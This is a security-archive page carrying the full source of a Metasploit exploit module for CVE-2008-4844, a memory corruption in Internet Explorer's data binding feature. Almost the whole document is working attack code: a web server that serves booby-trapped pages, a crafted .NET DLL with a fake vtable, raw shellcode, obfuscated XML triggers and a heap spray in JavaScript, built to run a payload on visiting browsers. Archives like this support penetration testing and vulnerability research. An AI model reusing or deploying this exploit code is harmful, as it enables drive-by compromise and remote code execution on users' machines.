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Microsoft Internet Explorer Data Binding Memory Corruption

Microsoft Internet Explorer Data Binding Memory Corruption
Posted Feb 12, 2010
Authored by H D Moore | Site metasploit.com

This Metasploit module exploits a vulnerability in the data binding feature of Internet Explorer. In order to execute code reliably, this module uses the .NET DLL memory technique pioneered by Alexander Sotirov and Mark Dowd. This method is used to create a fake vtable at a known location with all methods pointing to our payload. Since the .text segment of the .NET DLL is non-writable, a prefixed code stub is used to copy the payload into a new memory segment and continue execution from there.

tags | exploit
advisories | CVE-2008-4844
SHA-256 | c7921d15e333daf28b7fef1fddc614a29a08d3a01e4604616b9e695146f13c61

Microsoft Internet Explorer Data Binding Memory Corruption

Change Mirror Download
##
# $Id: ms08_078_xml_corruption.rb 8445 2010-02-10 20:41:07Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "7.0",
:ua_maxver => "7.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
})


def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Internet Explorer Data Binding Memory Corruption',
'Description' => %q{
This module exploits a vulnerability in the data binding feature of Internet
Explorer. In order to execute code reliably, this module uses the .NET DLL
memory technique pioneered by Alexander Sotirov and Mark Dowd. This method is
used to create a fake vtable at a known location with all methods pointing
to our payload. Since the .text segment of the .NET DLL is non-writable, a
prefixed code stub is used to copy the payload into a new memory segment and
continue execution from there.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hdm'
],
'Version' => '$Revision: 8445 $',
'References' =>
[
['CVE', '2008-4844'],
['OSVDB', '50622'],
['BID', '32721'],
['URL', 'http://www.microsoft.com/technet/security/advisory/961051.mspx'],
['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,

# Temporary stub virtualalloc() + memcpy() payload to RWX page
'PrependEncoder' =>
"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
"\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
"\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
"\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
"\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
"\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+
"\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+
"\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+
"\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Dec 07 2008',
'DefaultTarget' => 0))
end

def on_request_uri(cli, request)
@state ||= {}

ibase = 0x13370000
vaddr = ibase + 0x2065

uri,token = request.uri.split('?', 2)


if(token)
token,trash = token.split('=')
end

if !(token and @state[token])

print_status("Sending #{self.name} init HTML to #{cli.peerhost}:#{cli.peerport}...")
token = rand_text_numeric(32)
if ("/" == get_resource[-1,1])
dll_uri = get_resource[0, get_resource.length - 1]
else
dll_uri = get_resource
end
dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"

html = %Q|<html>
<head>
<script language="javascript">
function forward() {
window.location = window.location + '?#{token}';
}

function start() {
setTimeout("forward()", 2000);
}
</script>
</head>
<body onload="start()">
<object classid="#{dll_uri}?#{token}#GenericControl">
<object>
</body>
</html>
|
@state[token] = :start
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })
return
end

if (uri.match(/\.dll/i))

print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")

return if ((p = regenerate_payload(cli)) == nil)

# First entry points to the table of pointers
vtable = [ vaddr + 4 ].pack("V")
cbase = ibase + 0x2065 + (256 * 4)

# Build a function table
255.times { vtable << [cbase].pack("V") }

# Append the shellcode
vtable << p.encoded
send_response(
cli,
Msf::Util::EXE.to_dotnetmem(ibase, vtable),
{
'Content-Type' => 'application/x-msdownload',
'Connection' => 'close',
'Pragma' => 'no-cache'
}
)
@state[token] = :dll
return
end



print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport} token=#{@state[token]}...")

html = ""


#
# .NET DLL MODE
#
if(@state[token] == :dll)

addr_a,addr_b = [vaddr].pack("V").unpack("v*").map{|v| "&##{v};" }
data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0]
bxml = Rex::Text.to_hex(%Q|
<XML ID=I>
<X>
<C>
<![CDATA[
<image
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
>
]]>
</C>
</X>
</XML>

#{data}

<script>
setTimeout('window.location.reload(true);', 250);
</script>
|, '%')

var_unescape = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)

html = %Q|<html>
<head>
<script>
function #{var_start}() {
var #{var_unescape} = unescape;
document.write(#{var_unescape}('#{bxml}'));
}
</script>
</head>
<body onload="#{var_start}()">
</body>
</html>
|

#
# HEAP SPRAY MODE
#
else
print_status("Heap spray mode")

addr_a,addr_b = [0x0c0c0c0c].pack("V").unpack("v*").map{|v| "&##{v};" }
data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0]
bxml = Rex::Text.to_hex(%Q|
<XML ID=I>
<X>
<C>
<![CDATA[
<image
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
>
]]>
</C>
</X>
</XML>

#{data}

<script>
setTimeout('window.location.reload(true);', 1000);
</script>
|, '%')

var_memory = rand_text_alpha(rand(100) + 1)
var_boom = rand_text_alpha(rand(100) + 1)
var_body = rand_text_alpha(rand(100) + 1)
var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_spray = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)

rand_html = rand_text_english(rand(400) + 500)

html = %Q|<html>
<head>
<script>
var #{var_memory} = new Array();
var #{var_unescape} = unescape;


function #{var_boom}() {
document.getElementById('#{var_body}').innerHTML = #{var_unescape}('#{bxml}');
}

function #{var_start}() {

var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');

var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );

do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );

for(#{var_i} = 0; #{var_i} < 100; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};

setTimeout('#{var_boom}()', 1000);
}
</script>
</head>
<body onload="#{var_start}()" id="#{var_body}">
#{rand_html}
</body>
</html>
|
end

# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })

# Handle the payload
handler(cli)
end
end

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